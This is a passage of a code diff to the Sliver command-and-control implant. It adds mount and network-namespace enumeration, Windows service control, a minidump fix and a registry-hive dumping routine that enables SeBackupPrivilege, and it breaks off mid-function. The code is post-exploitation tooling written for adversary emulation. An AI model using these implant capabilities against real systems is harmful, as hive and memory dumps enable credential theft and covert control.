golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk=
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM=
golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE=
golang.org/x/net v0.21.0 h1:AQyQV4dYCvJ7vGmJyKki9+PBdyvhkSd8EIx/qb0AYv4=
golang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44=
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
golang.org/x/oauth2 v0.12.0 h1:smVPGxink+n1ZI5pkQa8y6fZT0RW0MgCO5bFpepy4B4=
golang.org/x/oauth2 v0.12.0/go.mod h1:A74bZ3aGXgCY0qaIC9Ahg6Lglin4AMAco8cIv9baba4=
@@ -507,7 +507,6 @@ golang.org/x/sys v0.0.0-20200728102440-3e129f6d46b1/go.mod h1:h1NjWce9XRLGQEsW7w
golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201207223542-d4d67f95c62d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210217105451-b926d437f341/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210301091718-77cc2087c03b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
@@ -530,12 +529,12 @@ golang.org/x/sys v0.0.0-20220817070843-5a390386f1f2/go.mod h1:oPkhp1MJrh7nUepCBc
golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.4.1-0.20230131160137-e7d7f63158de/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.15.0 h1:h48lPFYpsTvQJZF4EKyI4aLHaev3CxivZmv7yZig9pc=
golang.org/x/sys v0.15.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.18.0 h1:DBdB3niSjOA/O0blCZBqDefyWNYveAYMNF1Wum0DYQ4=
golang.org/x/sys v0.18.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
golang.org/x/term v0.15.0 h1:y/Oo/a/q3IXu26lQgl04j/gjuBDOBlx7X6Om1j2CPW4=
golang.org/x/term v0.15.0/go.mod h1:BDl952bC7+uMoWR75FIrCDx79TPU9oHkTZ9yRbYOrX0=
golang.org/x/term v0.18.0 h1:FcHjZXDMxI8mM3nwhX9HlKop4C0YQvCVCdwYl2wOtE8=
golang.org/x/term v0.18.0/go.mod h1:ILwASektA3OnRv7amZ1xhE/KTR+u50pbXfZ03+6Nx58=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
@@ -592,8 +591,8 @@ google.golang.org/grpc v1.59.0 h1:Z5Iec2pjwb+LEOqzpB2MR12/eKFhDPhuqW91O+4bwUk=
google.golang.org/grpc v1.59.0/go.mod h1:aUPDwccQo6OTjy7Hct4AfBPD1GptF4fyUjIkQ9YtF98=
google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
google.golang.org/protobuf v1.31.0 h1:g0LDEJHgrBl9N9r17Ru3sqWhkIx2NB67okBHPwC7hs8=
google.golang.org/protobuf v1.31.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
google.golang.org/protobuf v1.33.0 h1:uNO2rsAINq/JlFpSdYEKIZ0uKD/R9cpdv0T+yoGwGmI=
google.golang.org/protobuf v1.33.0/go.mod h1:c6P6GXX6sHbq/GpV6MGZEdwhWPcYBgnhAHhKbcUYpos=
gopkg.in/AlecAivazis/survey.v1 v1.8.8 h1:5UtTowJZTz1j7NxVzDGKTz6Lm9IWm8DDF6b7a2wq9VY=
gopkg.in/AlecAivazis/survey.v1 v1.8.8/go.mod h1:CaHjv79TCgAvXMSFJSVgonHXYWxnhzI3eoHtnX5UgUo=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
+2 -2
View File
@@ -18,9 +18,11 @@ require (
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
golang.org/x/crypto v0.13.0
golang.org/x/net v0.15.0
golang.org/x/sys v0.14.0
golang.zx2c4.com/wireguard v0.0.0-20231022001213-2e0774f246fb
google.golang.org/protobuf v1.31.0
gvisor.dev/gvisor v0.0.0-20230927004350-cbd86285d259
)
require (
@@ -37,7 +39,6 @@ require (
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
golang.org/x/mod v0.13.0 // indirect
golang.org/x/net v0.15.0 // indirect
golang.org/x/text v0.14.0 // indirect
golang.org/x/time v0.3.0 // indirect
golang.org/x/tools v0.13.0 // indirect
@@ -48,5 +49,4 @@ require (
gopkg.in/jcmturner/gokrb5.v7 v7.5.0 // indirect
gopkg.in/jcmturner/rpc.v1 v1.1.0 // indirect
gopkg.in/yaml.v3 v3.0.1 // indirect
gvisor.dev/gvisor v0.0.0-20230927004350-cbd86285d259 // indirect
)
+5
View File
@@ -458,6 +458,11 @@ func prepareDownload(path string, filter string, recurse bool, maxBytes int64, m
fileInfo, err := os.Stat(path + filter)
if err != nil && os.IsNotExist(err) {
// Then the file does not exist
return nil, false, 0, 1, err
}
if err == nil && !fileInfo.IsDir() {
// Then this is a single file
fileHandle, err := os.Open(path + filter)
+24 -1
View File
@@ -32,6 +32,7 @@ import (
"unsafe"
"github.com/bishopfox/sliver/implant/sliver/procdump"
"github.com/bishopfox/sliver/implant/sliver/mount"
"github.com/bishopfox/sliver/implant/sliver/taskrunner"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -57,7 +58,7 @@ var (
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgCpReq: cpHandler,
sliverpb.MsgTaskReq: taskHandler,
sliverpb.MsgIfconfigReq: ifconfigHandler,
sliverpb.MsgIfconfigReq: ifconfigLinuxHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgEnvReq: getEnvHandler,
sliverpb.MsgSetEnvReq: setEnvHandler,
@@ -71,6 +72,7 @@ var (
sliverpb.MsgReconfigureReq: reconfigureHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
sliverpb.MsgProcessDumpReq: dumpHandler,
sliverpb.MsgMountReq: mountHandler,
sliverpb.MsgGrepReq: grepHandler,
// Wasm Extensions - Note that execution can be done via a tunnel handler
@@ -124,6 +126,27 @@ func dumpHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func mountHandler(data []byte, resp RPCResponse) {
mountReq := &sliverpb.MountReq{}
err := proto.Unmarshal(data, mountReq)
if err != nil {
return
}
mountData, err := mount.GetMountInformation()
mountResp := &sliverpb.Mount{
Info: mountData,
Response: &commonpb.Response{},
}
if err != nil {
mountResp.Response.Err = err.Error()
}
data, err = proto.Marshal(mountResp)
resp(data, err)
}
func taskHandler(data []byte, resp RPCResponse) {
var err error
task := &sliverpb.TaskReq{}
+117
View File
@@ -35,6 +35,7 @@ import (
"syscall"
"github.com/bishopfox/sliver/implant/sliver/extension"
"github.com/bishopfox/sliver/implant/sliver/mount"
"github.com/bishopfox/sliver/implant/sliver/priv"
"github.com/bishopfox/sliver/implant/sliver/procdump"
"github.com/bishopfox/sliver/implant/sliver/ps"
@@ -73,6 +74,7 @@ var (
sliverpb.MsgExecuteWindowsReq: executeWindowsHandler,
sliverpb.MsgGetPrivsReq: getPrivsHandler,
sliverpb.MsgCurrentTokenOwnerReq: currentTokenOwnerHandler,
sliverpb.MsgRegistryReadHiveReq: regReadHiveHandler,
// Platform specific
sliverpb.MsgIfconfigReq: ifconfigHandler,
@@ -88,6 +90,10 @@ var (
sliverpb.MsgRegistryDeleteKeyReq: regDeleteKeyHandler,
sliverpb.MsgRegistrySubKeysListReq: regSubKeysListHandler,
sliverpb.MsgRegistryListValuesReq: regValuesListHandler,
sliverpb.MsgServicesReq: servicesListHandler,
sliverpb.MsgServiceDetailReq: serviceDetailHandler,
sliverpb.MsgStartServiceByNameReq: startServiceByNameHandler,
sliverpb.MsgMountReq: mountHandler,
// Generic
sliverpb.MsgPing: pingHandler,
@@ -595,6 +601,25 @@ func stopService(data []byte, resp RPCResponse) {
resp(data, err)
}
func startServiceByNameHandler(data []byte, resp RPCResponse) {
startServiceReq := &sliverpb.StartServiceByNameReq{}
err := proto.Unmarshal(data, startServiceReq)
if err != nil {
return
}
err = service.StartServiceByName(startServiceReq.ServiceInfo.Hostname, startServiceReq.ServiceInfo.ServiceName)
svcInfo := &sliverpb.ServiceInfo{}
if err != nil {
svcInfo.Response = &commonpb.Response{
Err: err.Error(),
}
}
data, err = proto.Marshal(svcInfo)
resp(data, err)
}
func removeService(data []byte, resp RPCResponse) {
removeServiceReq := &sliverpb.RemoveServiceReq{}
err := proto.Unmarshal(data, removeServiceReq)
@@ -732,6 +757,28 @@ func regValuesListHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func regReadHiveHandler(data []byte, resp RPCResponse) {
hiveReq := &sliverpb.RegistryReadHiveReq{}
err := proto.Unmarshal(data, hiveReq)
if err != nil {
return
}
hiveResp := &sliverpb.RegistryReadHive{
Response: &commonpb.Response{},
}
hiveData, err := registry.ReadHive(hiveReq.RootHive, hiveReq.RequestedHive)
if err != nil {
hiveResp.Response.Err = err.Error()
}
// We might not have a fatal error, so whatever the result (nil or not), assign .Data to it
gzipData := bytes.NewBuffer([]byte{})
gzipWrite(gzipData, hiveData)
hiveResp.Data = gzipData.Bytes()
hiveResp.Encoder = "gzip"
data, err = proto.Marshal(hiveResp)
resp(data, err)
}
func getPrivsHandler(data []byte, resp RPCResponse) {
createReq := &sliverpb.GetPrivsReq{}
@@ -778,6 +825,76 @@ func getPrivsHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func servicesListHandler(data []byte, resp RPCResponse) {
servicesReq := &sliverpb.ServicesReq{}
err := proto.Unmarshal(data, servicesReq)
if err != nil {
return
}
serviceInfo, err := service.ListServices(servicesReq.Hostname)
/*
Errors from listing the services are not fatal. The client can
display a message to the user about the issue
We still want other errors like timeouts to be handled in the
normal way.
*/
servicesResp := &sliverpb.Services{
Details: serviceInfo,
Error: err.Error(),
Response: &commonpb.Response{},
}
data, err = proto.Marshal(servicesResp)
resp(data, err)
}
func serviceDetailHandler(data []byte, resp RPCResponse) {
serviceDetailReq := &sliverpb.ServiceDetailReq{}
err := proto.Unmarshal(data, serviceDetailReq)
if err != nil {
return
}
serviceDetail, err := service.GetServiceDetail(serviceDetailReq.ServiceInfo.Hostname, serviceDetailReq.ServiceInfo.ServiceName)
serviceDetailResp := &sliverpb.ServiceDetail{
Detail: serviceDetail,
Response: &commonpb.Response{},
}
if err != nil {
if serviceDetail != nil {
// Then we had a non-fatal error
serviceDetailResp.Message = err.Error()
} else {
serviceDetailResp.Response.Err = err.Error()
}
}
data, err = proto.Marshal(serviceDetailResp)
resp(data, err)
}
func mountHandler(data []byte, resp RPCResponse) {
mountReq := &sliverpb.MountReq{}
err := proto.Unmarshal(data, mountReq)
if err != nil {
return
}
mountData, err := mount.GetMountInformation()
mountResp := &sliverpb.Mount{
Info: mountData,
Response: &commonpb.Response{},
}
if err != nil {
mountResp.Response.Err = err.Error()
}
data, err = proto.Marshal(mountResp)
resp(data, err)
}
// Extensions
func registerExtensionHandler(data []byte, resp RPCResponse) {
+167 -4
View File
@@ -23,10 +23,21 @@ import (
"log"
// {{end}}
"fmt"
"io/ioutil"
"net"
"os"
"path/filepath"
"runtime"
"strconv"
"syscall"
"github.com/bishopfox/sliver/implant/sliver/ps"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"golang.org/x/sys/unix"
)
func psHandler(data []byte, resp RPCResponse) {
@@ -51,10 +62,10 @@ func psHandler(data []byte, resp RPCResponse) {
for _, proc := range procs {
p := &commonpb.Process{
Pid: int32(proc.Pid()),
Ppid: int32(proc.PPid()),
Executable: proc.Executable(),
Owner: proc.Owner(),
Pid: int32(proc.Pid()),
Ppid: int32(proc.PPid()),
Executable: proc.Executable(),
Owner: proc.Owner(),
Architecture: proc.Architecture(),
}
p.CmdLine = proc.(*ps.UnixProcess).CmdLine()
@@ -63,3 +74,155 @@ func psHandler(data []byte, resp RPCResponse) {
data, err = proto.Marshal(psList)
resp(data, err)
}
func getFdFromPath(path string) (int, error) {
fd, err := unix.Open(path, unix.O_RDONLY|unix.O_CLOEXEC, 0)
if err != nil {
return -1, err
}
return fd, nil
}
func getUniqueFd(fd int) string {
// Returns the unique namespace ID
var s unix.Stat_t
err := unix.Fstat(fd, &s)
if err != nil {
return "Unknown"
}
return fmt.Sprintf("NS(%d:%d)", s.Dev, s.Ino)
}
func ifconfigLinuxHandler(_ []byte, resp RPCResponse) {
interfaces := ifconfigLinux()
// {{if .Config.Debug}}
log.Printf("network interfaces: %#v", interfaces)
// {{end}}
data, err := proto.Marshal(interfaces)
resp(data, err)
}
func nsLinuxIfconfig(interfaces *sliverpb.Ifconfig) {
namespacesFound := make(map[uint64]string)
procDir := "/proc"
procContents, err := ioutil.ReadDir(procDir)
if err != nil {
//{{if .Config.Debug}}
log.Printf("error reading /proc: %v", err)
//{{end}}
return
}
for _, entry := range procContents {
if !entry.IsDir() {
continue
}
match, _ := filepath.Match("[1-9]*", entry.Name())
if match {
// Check if /proc/PID/net/ns exists
checkPath := filepath.Join(procDir, entry.Name(), "/ns/net")
if _, err := os.Stat(checkPath); !os.IsNotExist(err) {
// path for /proc/PID/ns/net exists
// inode used to track unique namespaces
var inode uint64
fileinfo, err := os.Stat(checkPath)
if err != nil {
//{{if .Config.Debug}}
log.Printf("error : %v", err)
//{{end}}
continue
}
inode = fileinfo.Sys().(*syscall.Stat_t).Ino
// Track unique namespaces
namespacesFound[inode] = checkPath
}
}
}
// Lock the OS Thread so we don't accidentally switch namespaces
runtime.LockOSThread()
defer runtime.UnlockOSThread()
// Save the current network namespace
pidPath := strconv.Itoa(os.Getpid())
tidPath := strconv.Itoa(unix.Gettid())
origns, _ := getFdFromPath(filepath.Join(procDir, pidPath, "/task", tidPath, "/ns/net"))
defer unix.Close(origns)
// We only need to use the path value
for _, nsPath := range namespacesFound {
nsFd, err := unix.Open(nsPath, unix.O_RDONLY|unix.O_CLOEXEC, 0)
if err != nil {
continue
}
// Ignore origin namespace
if getUniqueFd(nsFd) == getUniqueFd(origns) {
continue
}
err = unix.Setns(nsFd, unix.CLONE_NEWNET)
if err != nil {
// Failed to enter namespace
continue
}
ifaces, _ := net.Interfaces()
// {{if .Config.Debug}}
log.Printf("Interfaces: %v\n", ifaces)
// {{end}}
ifconfigParseInterfaces(ifaces, interfaces, nsPath)
}
// Switch back to the original namespace
unix.Setns(origns, unix.CLONE_NEWNET)
}
func ifconfigLinux() *sliverpb.Ifconfig {
netInterfaces, err := net.Interfaces()
if err != nil {
return nil
}
interfaces := &sliverpb.Ifconfig{
NetInterfaces: []*sliverpb.NetInterface{},
}
ifconfigParseInterfaces(netInterfaces, interfaces)
nsLinuxIfconfig(interfaces)
return interfaces
}
func ifconfigParseInterfaces(netInterfaces []net.Interface, interfaces *sliverpb.Ifconfig, namespacePath ...string) {
// Append namespace ID if passed in
var appendNsId = ""
if len(namespacePath) > 0 {
appendNsId = fmt.Sprintf(" NS(%v)",namespacePath[0])
}
for _, iface := range netInterfaces {
netIface := &sliverpb.NetInterface{
Index: int32(iface.Index),
Name: iface.Name + appendNsId,
}
if iface.HardwareAddr != nil {
netIface.MAC = iface.HardwareAddr.String()
}
addresses, err := iface.Addrs()
if err == nil {
for _, address := range addresses {
netIface.IPAddresses = append(netIface.IPAddresses, address.String())
}
}
interfaces.NetInterfaces = append(interfaces.NetInterfaces, netIface)
}
}
+56
View File
@@ -0,0 +1,56 @@
// +linux
package mount
import (
"bufio"
"os"
"strings"
"syscall"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
func GetMountInformation() ([]*sliverpb.MountInfo, error) {
mountInfo := make([]*sliverpb.MountInfo, 0)
file, err := os.Open("/proc/self/mountinfo")
if err != nil {
return mountInfo, err
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
line := scanner.Text()
fields := strings.Fields(line)
// Extract fields according to the /proc/self/mountinfo format
// https://man7.org/linux/man-pages/man5/proc.5.html
mountRoot := fields[3]
mountPoint := fields[4]
mountOptions := fields[5]
mountType := fields[len(fields)-3]
mountSource := fields[len(fields)-2]
// Get mount information using statfs
var stat syscall.Statfs_t
err := syscall.Statfs(mountPoint, &stat)
if err != nil {
continue
}
var mountData sliverpb.MountInfo
mountData.Label = mountRoot
mountData.MountPoint = mountPoint
mountData.VolumeType = mountType
mountData.VolumeName = mountSource
mountData.MountOptions = mountOptions
mountData.TotalSpace = stat.Blocks * uint64(stat.Bsize)
mountInfo = append(mountInfo, &mountData)
}
return mountInfo, nil
}
+279
View File
@@ -0,0 +1,279 @@
//go:build windows
// +build windows
/*
Sliver Implant Framework
Copyright (C) 2023 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
package mount
import (
"errors"
"fmt"
"strconv"
"strings"
"unicode/utf16"
"unsafe"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"golang.org/x/sys/windows"
)
const (
pathLength = windows.MAX_PATH + 1
volumePathsLength = 32769 // 32K + 1 for a null terminator
universalNameInfoLevel = 1
remoteNameInfoLevel = 2
remoteNameMaxLength = 1024
)
type UniversalNameInfo struct {
UniversalName [remoteNameMaxLength]uint16
}
func findAllVolumes() ([]string, error) {
var volumes []string
volumeGuid := make([]uint16, pathLength)
handle, err := windows.FindFirstVolume(&volumeGuid[0], pathLength)
defer windows.FindVolumeClose(handle)
if err != nil {
return volumes, err
}
volumes = append(volumes, windows.UTF16ToString(volumeGuid))
// Keep gathering volumes until we cannot find anymore
for {
err = windows.FindNextVolume(handle, &volumeGuid[0], pathLength)
if err != nil {
if err == windows.ERROR_NO_MORE_FILES {
// Then we are done
break
} else {
return volumes, err
}
}
volumes = append(volumes, windows.UTF16ToString(volumeGuid))
}
return volumes, nil
}
func findMountPointsForVolume(volumeName string) ([]string, error) {
const nullByte uint16 = 0
var volumeMounts []string
mountsForVolume := make([]uint16, volumePathsLength)
var returnedInformationLength uint32 = 0
volNameUint, err := windows.UTF16PtrFromString(volumeName)
if err != nil {
return volumeMounts, err
}
err = windows.GetVolumePathNamesForVolumeName(volNameUint, &mountsForVolume[0], volumePathsLength, &returnedInformationLength)
if err != nil {
if err == windows.ERROR_MORE_DATA {
// Then we need to make the buffer bigger and try again
// We will try one more time
mountsForVolume := make([]uint16, returnedInformationLength)
err = windows.GetVolumePathNamesForVolumeName(volNameUint, &mountsForVolume[0], volumePathsLength, &returnedInformationLength)
if err != nil {
return volumeMounts, err
}
} else {
return volumeMounts, err
}
}
/*
Because the buffer contains multiple strings separated by a null terminator, we will read the
buffer in chunks and separate the strings
*/
volumeMounts = splitStringBuffer(mountsForVolume)
return volumeMounts, nil
}
func splitStringBuffer(buffer []uint16) []string {
bufferString := string(utf16.Decode(buffer))
return strings.Split(strings.TrimRight(bufferString, "\x00"), "\x00")
}
func getAllDrives() ([]string, error) {
var logicalDrives []string
// Get necessary buffer size
n, err := windows.GetLogicalDriveStrings(0, nil)
driveStrings := make([]uint16, n)
_, err = windows.GetLogicalDriveStrings(n, &driveStrings[0])
if err != nil {
return logicalDrives, err
}
logicalDrives = splitStringBuffer(driveStrings)
return logicalDrives, nil
}
func getDriveType(driveSpec string) string {
driveUTF16, err := windows.UTF16PtrFromString(driveSpec)
if err != nil {
return ""
}
// Convert type to string (client will handle translation)
driveTypeValue := strconv.FormatUint(uint64(windows.GetDriveType(driveUTF16)), 10)
return driveTypeValue
}
func getUniversalName(driveSpec string) (string, error) {
mpr := windows.NewLazyDLL("mpr.dll")
wNetGetUniversalNameWProc := mpr.NewProc("WNetGetUniversalNameW")
driveUTF16, err := windows.UTF16PtrFromString(driveSpec)
if err != nil {
return "", err
}
var universalNameBuffer UniversalNameInfo
var bufferSize = uint32(unsafe.Sizeof(universalNameBuffer))
returnCode, _, err := wNetGetUniversalNameWProc.Call(
uintptr(unsafe.Pointer(driveUTF16)),
uintptr(universalNameInfoLevel),
uintptr(unsafe.Pointer(&universalNameBuffer)),
uintptr(unsafe.Pointer(&bufferSize)),
)
if returnCode != 0 {
// Then there was an error
return "", fmt.Errorf("%v", windows.Errno(returnCode).Error())
}
bufferStrings := splitStringBuffer(universalNameBuffer.UniversalName[:])
// There is some junk returned at the beginning of the structure. The actual UNC path starts after the first null terminator.
if len(bufferStrings) > 1 {
return bufferStrings[1], nil
} else {
return "", errors.New("No valid data returned")
}
}
func getDiskStats(driveSpec string) (uint64, uint64, uint64, error) {
var freeSpace uint64 = 0
var usedSpace uint64 = 0
var totalSpace uint64 = 0
driveUTF16, err := windows.UTF16PtrFromString(driveSpec)
if err != nil {
return freeSpace, usedSpace, totalSpace, err
}
err = windows.GetDiskFreeSpaceEx(driveUTF16, nil, &totalSpace, &freeSpace)
if err != nil {
return freeSpace, usedSpace, totalSpace, err
}
usedSpace = totalSpace - freeSpace
return freeSpace, usedSpace, totalSpace, nil
}
func getDriveInfo(driveSpec string) (string, string) {
// Get label and filesystem type
driveUTF16, err := windows.UTF16PtrFromString(driveSpec)
if err != nil {
return "", ""
}
volumeNameBuffer := make([]uint16, pathLength)
fileSystemNameBuffer := make([]uint16, pathLength)
err = windows.GetVolumeInformation(driveUTF16, &volumeNameBuffer[0], pathLength, nil, nil, nil, &fileSystemNameBuffer[0], pathLength)
if err != nil {
return "", ""
}
return windows.UTF16ToString(volumeNameBuffer), windows.UTF16ToString(fileSystemNameBuffer)
}
func constructDriveVolumeMap() (map[string]string, error) {
driveVolumeMap := make(map[string]string)
volumes, err := findAllVolumes()
if err != nil {
return driveVolumeMap, err
}
for _, volume := range volumes {
mountPoints, err := findMountPointsForVolume(volume)
if err != nil {
return driveVolumeMap, err
}
for _, mountPoint := range mountPoints {
driveVolumeMap[mountPoint] = volume
}
}
return driveVolumeMap, nil
}
func GetMountInformation() ([]*sliverpb.MountInfo, error) {
mountInfo := make([]*sliverpb.MountInfo, 0)
logicalDrives, err := getAllDrives()
if err != nil {
return mountInfo, err
}
driveVolumeMap, err := constructDriveVolumeMap()
if err != nil {
return mountInfo, err
}
for _, drive := range logicalDrives {
var mountData sliverpb.MountInfo
mountData.MountPoint = drive
mountData.VolumeType = getDriveType(drive)
// Drive type of 4 is "Remote"
// As per https://cs.opensource.google/go/x/sys/+/refs/tags/v0.18.0:windows/syscall_windows.go;l=33
if mountData.VolumeType == "4" {
// Then this is a network drive, so let's figure out the UNC path
networkPath, err := getUniversalName(drive)
if err != nil {
return mountInfo, err
}
mountData.VolumeName = networkPath
} else {
mountData.VolumeName = driveVolumeMap[drive]
}
mountData.Label, mountData.FileSystem = getDriveInfo(drive)
free, used, total, err := getDiskStats(drive)
if err != nil {
return mountInfo, err
}
mountData.UsedSpace = used
mountData.FreeSpace = free
mountData.TotalSpace = total
mountInfo = append(mountInfo, &mountData)
}
return mountInfo, nil
}
+8 -6
View File
@@ -32,10 +32,11 @@ import (
"bytes"
"encoding/binary"
"unsafe"
"github.com/bishopfox/sliver/implant/sliver/priv"
"github.com/bishopfox/sliver/implant/sliver/syscalls"
"golang.org/x/sys/windows"
"unsafe"
)
const (
@@ -69,14 +70,15 @@ const (
MiniDumpWithFullMemory = 0x00000002
)
var bytesRead uint32 = 0
// var bytesRead uint32 = 0
type WindowsDump struct {
data []byte
}
type outDump struct {
outPtr uintptr
outPtr uintptr
bytesRead uint32
}
func (d *WindowsDump) Data() []byte {
@@ -174,9 +176,9 @@ func minidump(pid uint32, proc windows.Handle) (ProcessDump, error) {
//{{end}}
return dump, err
}
outBuff := make([]byte, bytesRead)
outBuff := make([]byte, outData.bytesRead)
outBuffAddr := uintptr(unsafe.Pointer(&outBuff[0]))
syscalls.RtlCopyMemory(outBuffAddr, outData.outPtr, bytesRead)
syscalls.RtlCopyMemory(outBuffAddr, outData.outPtr, outData.bytesRead)
err = syscalls.HeapFree(heapHandle, 0, outData.outPtr)
if err != nil {
// {{if .Config.Debug}}
@@ -303,7 +305,7 @@ func minidumpCallback(callbackParam uintptr, callbackInputPtr uintptr, callbackO
}
destination := outData.outPtr + uintptr(callbackInput.Io.Offset)
syscalls.RtlCopyMemory(destination, callbackInput.Io.Buffer, callbackInput.Io.BufferBytes)
bytesRead += callbackInput.Io.BufferBytes
outData.bytesRead += callbackInput.Io.BufferBytes
case IoFinishCallback:
callbackOutput.Status = S_OK
default:
@@ -1,12 +1,19 @@
package registry
import (
"errors"
"fmt"
"math/rand"
"os"
// {{if .Config.Debug}}
"log"
// {{end}}
"strings"
"github.com/bishopfox/sliver/implant/sliver/priv"
"github.com/bishopfox/sliver/implant/sliver/syscalls"
"golang.org/x/sys/windows"
"golang.org/x/sys/windows/registry"
)
@@ -182,3 +189,88 @@ func CreateSubKey(hostname string, hive string, path string, keyName string) err
_, _, err = registry.CreateKey(*k, keyName, registry.ALL_ACCESS)
return err
}
func generateTempFileName() string {
const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
randomBytes := make([]byte, 8)
for i := range randomBytes {
randomBytes[i] = charset[rand.Intn(len(charset))]
}
return string(randomBytes) + ".tmp"
}
// ReadHive dumps the content of a registry hive into a single binary blob
func ReadHive(requestedRootHive string, requestedHive string) ([]byte, error) {
// In order to dump a hive, we need the SeBackupPrivilege privilege
err := priv.SePrivEnable("SeBackupPrivilege")
if err != nil {
// {{if .Config.Debug}}
log.Println("SePrivEnable failed:", err)
// {{end}}
return nil, err
}
/*
Create a random file name to output the hive to.
The system call to dump registry information (RegSaveKeyW)
only accepts a file name as an output location, as opposed to a
buffer. So we will output the result of the system call, read the
resulting file into memory, then delete the file.
*/
/*
We have to make sure the file we ask RegSaveKeyW to output does not exist
because if it does, the call will fail.
Keep generating and checking file names until we find one that does not exist.
*/
var tempFileName string
for {
tempFileName = fmt.Sprintf("%s\\%s", os.TempDir(), generateTempFileName())
if _, err := os.Stat(tempFileName); errors.Is(err, os.ErrNotExist) {
// {{if .Config.Debug}}
log.Printf("Going to output hive data to %s", tempFileName)
// {{end}}
break
}
}
tempFileNamePtr, err := windows.UTF16PtrFromString(tempFileName)
if err != nil {
return nil, err
}
hiveHandle, err := openKey("", requestedRootHive, requestedHive, registry.READ)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Could not open %s\\%s: %v", requestedRootHive, requestedHive, err)
// {{end}}
return nil, err
}
defer hiveHandle.Close()
